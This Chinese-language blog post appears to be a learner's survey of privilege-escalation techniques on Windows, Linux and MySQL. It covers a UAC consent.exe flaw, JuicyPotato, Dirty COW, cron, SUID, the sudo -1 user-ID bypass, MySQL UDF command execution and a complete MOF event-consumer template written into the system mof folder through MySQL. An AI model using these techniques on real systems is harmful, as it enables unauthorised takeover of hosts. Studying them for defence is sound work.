某段时间突然对权限提升感起了兴趣,在各大论坛和大佬们的博客寻找权限提升的姿势,固有了想对提权姿势进行一次系统整理的打算,本篇文章是对权限提升方法的总结,记录自己学习和复现的过程。
[toc]
该漏洞位于Windows的UAC(User Account Control,用户帐户控制)机制中。默认情况下,Windows会在一个单独的桌面上显示所有的UAC提示——Secure Desktop。这些提示是由名为consent.exe的可执行文件产生的,该可执行文件以NT AUTHORITY\SYSTEM权限运行,完整性级别为System。因为用户可以与该UI交互,因此对UI来说紧限制是必须的。否则,低权限的用户可能可以通过UI操作的循环路由以SYSTEM权限执行操作。即使隔离状态的看似无害的UI特征都可能会成为引发任意控制的动作链的第一步。事实上,UAC会话中含有尽可能少的点击操作选项。
利用该漏洞很容易就可以提升权限到SYSTEM
按照exp作者的描述,影响范围如下:
Windows 2008r2 7601 link OPENED AS SYSTEM
Windows 2012r2 9600 link OPENED AS SYSTEM
Windows 2016 14393 link OPENED AS SYSTEM
Windows 2019 17763 link NOT opened
Windows 7 SP1 7601 link OPENED AS SYSTEM
Windows 8 9200 link OPENED AS SYSTEM
Windows 8.1 9600 link OPENED AS SYSTEM
Windows 10 1511 10240 link OPENED AS SYSTEM
Windows 10 1607 14393 link OPENED AS SYSTEM
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
...
在尝试windows下的一系列提权操作后都没有成功,可以尝试一下烂土豆,这里在吐司上找到一个大佬改写的juicypotato,自动化程度比原版更高,使用起来更简单,配合webshell食用可以说是非常美味。
平常问大佬们linux下的提权,听的最多的就是脏牛一把梭,但是目前实战还没有提成功,固这里简单叙述一下。
定时任务(cron job)被用于安排那些需要被周期性执行的命令。利用它,你可以配置某些命令或者脚本,让它们在某个设定的时间内周期性地运行。
SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。
感觉这个漏洞实战不太会遇到,不过说不定哪天能中呢:)
一般情况下,大多数Linux发行版的Runas规范(/etc /sudoers)都如下图所示,其中定义的ALL关键字将允许admin或sudo组中的用户以目标系统中的任意用户身份来运行命令:
通过将用户ID修改为-1(或未签名的等价用户ID-4294967295)可以绕过该配置文件限制,达到权限提升的效果。
sudo < 1.8.28
手动配置/etc/sudoers文件,添加内容如下:
表示不允许用户xlxxlx以root身份执行任意命令,也就相当于无法使用sudo命令。
UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。
udf.dll文件的提取可以参考这篇文章
mysql版本 < 5.1 , UDF导出到系统目录c:/windows/system32/
mysql版本 > 5.1 ,UDF导出到安装路径MySQL\Lib\Plugin\
通过sql语句创建自定义命令并执行
create function xxx returns string soname 'udf.dll'
select xxx('cmd')
这里使用一个udf提权马进行复现
mof提权的原理其实很简单,就是利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof文件,每分钟都会在一个特定的时间去执行一次的特性,我们把想要执行的cmd命令代入mof文件中即可,和linux下的定时任务提权相似。
#pragma namespace("\.\root\subscription")
instance of EventFilter as
{
EventNamespace = "Root\Cimv2";
Name = "filtP2";
Query = "Select * From InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\") WSH.run(\"此处填入cmd命令")";
};
instance of __FilterToConsumerBinding
{
Consumer = ;
Filter = ;
};
保存为 xxx.mof
然后mysql执行:select load_file('/xxx.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
这篇文章记录的提权方法都是较新或者比较经典,对实战有帮助的提权方法,其实还有很多其他的提权方法,碍于没有成功复现不好对提权的难度和利用条件做出判断,后续有机会也会慢慢都收录下。